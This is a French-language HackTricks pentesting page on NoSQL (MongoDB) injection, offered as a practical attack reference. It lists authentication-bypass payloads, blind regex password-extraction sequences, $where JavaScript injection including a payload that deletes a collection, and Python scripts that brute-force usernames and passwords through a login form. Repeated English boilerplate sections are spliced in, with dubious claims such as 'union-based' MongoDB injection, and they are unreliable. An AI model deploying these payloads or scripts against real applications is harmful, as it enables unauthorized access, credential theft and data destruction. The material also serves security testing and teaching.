hacktricks/pentesting-web/nosql-injection.md

23 KiB

Injection NoSQL


Utilisez Trickest pour construire facilement et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Accédez dès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Les bases de données NoSQL offrent des restrictions de cohérence moins strictes que les bases de données SQL traditionnelles. En nécessitant moins de contraintes relationnelles et de vérifications de cohérence, les bases de données NoSQL offrent souvent des avantages en termes de performances et de mise à l'échelle. Cependant, ces bases de données sont toujours potentiellement vulnérables aux attaques par injection, même si elles n'utilisent pas la syntaxe SQL traditionnelle.

Exploitation

En PHP, vous pouvez envoyer un tableau en modifiant le paramètre envoyé de parameter=foo à parameter[arrName]=foo.

Les exploits sont basés sur l'ajout d'un opérateur :

username[$ne]=1$password[$ne]=1 #<Not Equals>
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
username[$regex]=.{25}&pass[$ne]=1 #Use the <regex> to find the length of a value
username[$eq]=admin&password[$ne]=1 #<Equals>
username[$ne]=admin&pass[$lt]=s #<Less than>, Brute-force pass[$lt] to find more users
username[$ne]=admin&pass[$gt]=s #<Greater Than>
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code

Contournement de l'authentification de base

Utilisation de la négation ($ne) ou de la supériorité ($gt)

#in URL
username[$ne]=toto&password[$ne]=toto
username[$regex]=.*&password[$regex]=.*
username[$exists]=true&password[$exists]=true

#in JSON
{"username": {"$ne": null}, "password": {"$ne": null} }
{"username": {"$ne": "foo"}, "password": {"$ne": "bar"} }
{"username": {"$gt": undefined}, "password": {"$gt": undefined} }

SQL - Mongo


NoSQL Injection


NoSQL databases, such as MongoDB, are becoming increasingly popular due to their flexibility and scalability. However, just like SQL databases, NoSQL databases are also vulnerable to injection attacks.

NoSQL injection occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions. This can happen when user input is not properly sanitized or validated before being used in a query.

Types of NoSQL Injection


There are several types of NoSQL injection attacks that can be performed against a MongoDB database:

  1. Boolean-based injection: This type of injection relies on the ability to manipulate the query in order to force a true or false condition. By exploiting this vulnerability, an attacker can retrieve sensitive information or perform unauthorized actions.

  2. Time-based injection: In a time-based injection attack, an attacker is able to delay the response from the database in order to extract information. By carefully crafting the query, an attacker can determine if a condition is true or false based on the response time.

  3. Union-based injection: Union-based injection involves injecting a query that combines the results of two or more queries into a single result set. This can be used to retrieve data from multiple collections or perform unauthorized actions.

Preventing NoSQL Injection


To prevent NoSQL injection attacks, it is important to follow secure coding practices:

  1. Input validation: Always validate and sanitize user input before using it in a query. This includes checking for special characters and ensuring that the input matches the expected data type.

  2. Parameterized queries: Use parameterized queries or prepared statements to separate the query logic from the user input. This helps prevent injection attacks by ensuring that user input is treated as data and not as part of the query.

  3. Least privilege principle: Ensure that the database user account used by the application has the minimum privileges necessary to perform its intended functions. This helps limit the potential impact of an injection attack.

  4. Regular updates: Keep the database software and drivers up to date with the latest security patches. This helps protect against known vulnerabilities that could be exploited by attackers.

By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access or manipulation.

Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1//    or    ' || 1==1%00

Extraire les informations de longueur

L'injection NoSQL peut être utilisée pour extraire des informations sur la longueur des données stockées dans une base de données NoSQL. Cela peut être utile lors de la recherche de vulnérabilités ou de la collecte d'informations sur la structure de la base de données.

Pour extraire les informations de longueur, vous pouvez utiliser l'opérateur $regex avec une expression régulière qui correspond à la longueur souhaitée. Par exemple, pour extraire les informations sur la longueur d'une chaîne de caractères, vous pouvez utiliser l'expression régulière ^.{n}$, où n est la longueur souhaitée.

Voici un exemple de requête d'injection NoSQL pour extraire les informations de longueur d'une chaîne de caractères :

GET /api/users?username[$regex]=^.{n}$

Remplacez n par la longueur souhaitée. Si la réponse de la requête est différente de celle obtenue normalement, cela indique que la longueur de la chaîne de caractères est égale à n.

Il est important de noter que l'injection NoSQL peut être dangereuse et doit être effectuée avec précaution. Assurez-vous de disposer des autorisations appropriées et de respecter les lois et réglementations en vigueur avant de procéder à des tests d'injection NoSQL.

username[$ne]=toto&password[$regex]=.{1}
username[$ne]=toto&password[$regex]=.{3}
# True if the length equals 1,3...

Extraire les informations data

Les attaques d'injection NoSQL sont similaires aux attaques d'injection SQL, mais elles ciblent les bases de données NoSQL. Ces attaques exploitent les vulnérabilités dans les requêtes NoSQL pour extraire des informations sensibles ou effectuer des opérations non autorisées.

L'injection NoSQL peut se produire lorsque les entrées utilisateur ne sont pas correctement validées ou échappées avant d'être utilisées dans une requête NoSQL. Les attaquants peuvent alors manipuler les requêtes pour contourner les mécanismes de sécurité et accéder à des données auxquelles ils ne devraient pas avoir accès.

Pour extraire des informations à partir d'une base de données NoSQL, les attaquants peuvent utiliser des opérateurs spéciaux tels que $ne, $gt, $gte, $lt, $lte, $in, $nin, etc. Ces opérateurs permettent de filtrer les résultats de la requête et d'obtenir des informations supplémentaires.

Par exemple, supposons qu'un site Web utilise une base de données NoSQL pour stocker les informations utilisateur. Lorsqu'un utilisateur se connecte, le site vérifie les informations d'identification en effectuant une requête NoSQL. Si les entrées utilisateur ne sont pas correctement validées, un attaquant peut utiliser une injection NoSQL pour contourner le processus d'authentification et extraire les informations d'autres utilisateurs.

Voici un exemple de requête NoSQL vulnérable :

db.users.find({ username: 'admin', password: { $ne: 'password' } })

Dans cet exemple, l'opérateur $ne est utilisé pour vérifier si le mot de passe n'est pas égal à "password". Un attaquant peut utiliser une injection NoSQL pour modifier cette requête et extraire toutes les informations de la base de données, y compris les mots de passe des utilisateurs.

Pour se protéger contre les attaques d'injection NoSQL, il est essentiel de valider et d'échapper correctement les entrées utilisateur avant de les utiliser dans une requête NoSQL. Les frameworks et les bibliothèques de développement peuvent fournir des fonctions de validation et d'échappement pour aider à prévenir ces vulnérabilités.

En résumé, les attaques d'injection NoSQL peuvent être utilisées pour extraire des informations sensibles à partir de bases de données NoSQL. Il est important de mettre en place des mesures de sécurité appropriées pour prévenir ces attaques, telles que la validation et l'échappement des entrées utilisateur.

in URL (if length == 3)
username[$ne]=toto&password[$regex]=a.{2}
username[$ne]=toto&password[$regex]=b.{2}
...
username[$ne]=toto&password[$regex]=m.{2}
username[$ne]=toto&password[$regex]=md.{1}
username[$ne]=toto&password[$regex]=mdp

username[$ne]=toto&password[$regex]=m.*
username[$ne]=toto&password[$regex]=md.*

in JSON
{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}

SQL - Mongo


NoSQL Injection


NoSQL databases, such as MongoDB, are becoming increasingly popular due to their flexibility and scalability. However, just like SQL databases, NoSQL databases are also vulnerable to injection attacks.

NoSQL injection occurs when an attacker is able to manipulate a NoSQL query in order to retrieve unauthorized data or perform unauthorized actions. This can happen when user input is not properly sanitized or validated before being used in a query.

Types of NoSQL Injection


There are several types of NoSQL injection attacks that can be performed against a MongoDB database:

  1. Query Manipulation: In this type of attack, the attacker manipulates the query parameters to modify the behavior of the query. For example, the attacker may be able to bypass authentication by modifying the query to always return true.

  2. Command Injection: In command injection attacks, the attacker is able to inject additional commands into the query. This can allow the attacker to execute arbitrary commands on the database server.

  3. JavaScript Injection: MongoDB allows the use of JavaScript in queries. An attacker can exploit this feature by injecting malicious JavaScript code into the query, which can lead to unauthorized data retrieval or code execution.

Preventing NoSQL Injection


To prevent NoSQL injection attacks, it is important to follow secure coding practices:

  1. Input Validation: Always validate and sanitize user input before using it in a query. This includes checking for special characters and ensuring that the input is of the expected type.

  2. Parameterized Queries: Use parameterized queries or prepared statements to ensure that user input is properly escaped and treated as data, rather than executable code.

  3. Least Privilege: Ensure that the database user account used by the application has the least privilege necessary to perform its intended functions. This can help limit the potential impact of an injection attack.

  4. Secure Configuration: Follow secure configuration practices for your NoSQL database, such as disabling unnecessary features and enabling authentication and access controls.

By following these best practices, you can significantly reduce the risk of NoSQL injection attacks and protect your MongoDB database from unauthorized access or manipulation.

/?search=admin' && this.password%00 --> Check if the field password exists
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj.*$/)%00
...
/?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00  Found

Exécution arbitraire de fonction PHP

En utilisant l'opérateur $func de la bibliothèque MongoLite (utilisée par défaut), il est possible d'exécuter une fonction arbitraire comme dans ce rapport.

"user":{"$func": "var_dump"}

Obtenir des informations à partir de différentes collections

Il est possible d'utiliser $lookup pour obtenir des informations à partir d'une collection différente. Dans l'exemple suivant, nous lisons à partir d'une collection différente appelée users et obtenons les résultats de toutes les entrées avec un mot de passe correspondant à un caractère générique.

[
{
"$lookup":{
"from": "users",
"as":"resultado","pipeline": [
{
"$match":{
"password":{
"$regex":"^.*"
}
}
}
]
}
}
]


Utilisez Trickest pour construire et automatiser des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Injection NoSQL aveugle

import requests, string

alphabet = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(21):
print("[i] Looking for char number "+str(i+1))
for char in alphabet:
r = requests.get("http://chall.com?param=^"+flag+char)
if ("<TRUE>" in r.text):
flag += char
print("[+] Flag: "+flag)
break
import requests
import urllib3
import string
import urllib
urllib3.disable_warnings()

username="admin"
password=""

while True:
for c in string.printable:
if c not in ['*','+','.','?','|']:
payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
r = requests.post(u, data = {'ids': payload}, verify = False)
if 'OK' in r.text:
print("Found one more char : %s" % (password+c))
password += c

Charges MongoDB

Les injections NoSQL peuvent également être utilisées pour attaquer les bases de données MongoDB. Voici quelques exemples de charges utiles pour les injections NoSQL dans MongoDB :

Récupérer toutes les données de la base de données

username[$ne]=null&password[$ne]=null

Cette charge utile récupère toutes les données de la base de données en exploitant la vulnérabilité de l'opérateur $ne (différent de) dans MongoDB.

Récupérer les informations d'un utilisateur spécifique

username[$eq]=<username>&password[$ne]=null

Cette charge utile récupère les informations d'un utilisateur spécifique en exploitant l'opérateur $eq (égal à) dans MongoDB.

Contourner l'authentification

username[$ne]=null&password[$regex]=.*

Cette charge utile contourne l'authentification en utilisant l'opérateur $regex (expression régulière) pour correspondre à n'importe quelle valeur de mot de passe.

Injection de code JavaScript

username[$ne]=null&$where=javascript_code

Cette charge utile permet l'injection de code JavaScript en utilisant l'opérateur $where dans MongoDB.

Récupérer les informations de la base de données

username[$ne]=null&$where=function() { return db.collectionName.find().forEach(printjson); }

Cette charge utile récupère les informations de la base de données en utilisant l'opérateur $where pour exécuter une fonction JavaScript qui imprime les résultats de la recherche.

Supprimer des données de la base de données

username[$ne]=null&$where=function() { return db.collectionName.remove({}); }

Cette charge utile supprime toutes les données de la base de données en utilisant l'opérateur $where pour exécuter une fonction JavaScript qui supprime tous les documents de la collection spécifiée.

Il est important de noter que ces charges utiles sont fournies à titre d'exemple et peuvent nécessiter des ajustements en fonction de la structure de la base de données cible.

true, $where: '1 == 1'
, $where: '1 == 1'
$where: '1 == 1'
', $where: '1 == 1'
1, $where: '1 == 1'
{ $ne: 1 }
', $or: [ {}, { 'a':'a
' } ], $comment:'successful MongoDB injection'
db.injection.insert({success:1});
db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
|| 1==1
' && this.password.match(/.*/)//+%00
' && this.passwordzz.match(/.*/)//+%00
'%20%26%26%20this.password.match(/.*/)//+%00
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
{$gt: ''}
[$ne]=1

Outils

Force brute des noms d'utilisateur et des mots de passe à partir de la connexion POST

Il s'agit d'un script simple que vous pouvez modifier, mais les outils précédents peuvent également effectuer cette tâche.

import requests
import string

url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
password = "^"
while True:
for c in possible_chars:
params["password[$regex]"] = password + c + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
password += c
break
if c == possible_chars[-1]:
print("Found password "+password[1:].replace("\\", "")+" for username "+username)
return password[1:].replace("\\", "")

def get_usernames():
usernames = []
params = {"username[$regex]":"", "password[$regex]":".*", "login": "login"}
for c in possible_chars:
username = "^" + c
params["username[$regex]"] = username + ".*"
pr = requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False)
if int(pr.status_code) == 302:
print("Found username starting with "+c)
while True:
for c2 in possible_chars:
params["username[$regex]"] = username + c2 + ".*"
if int(requests.post(url, data=params, headers=headers, cookies=cookies, verify=False, allow_redirects=False).status_code) == 302:
username += c2
print(username)
break

if c2 == possible_chars[-1]:
print("Found username: "+username[1:])
usernames.append(username[1:])
break
return usernames


for u in get_usernames():
get_password(u)

Références

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥


Utilisez Trickest pour créer et automatiser facilement des flux de travail alimentés par les outils communautaires les plus avancés au monde.
Obtenez un accès aujourd'hui :

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}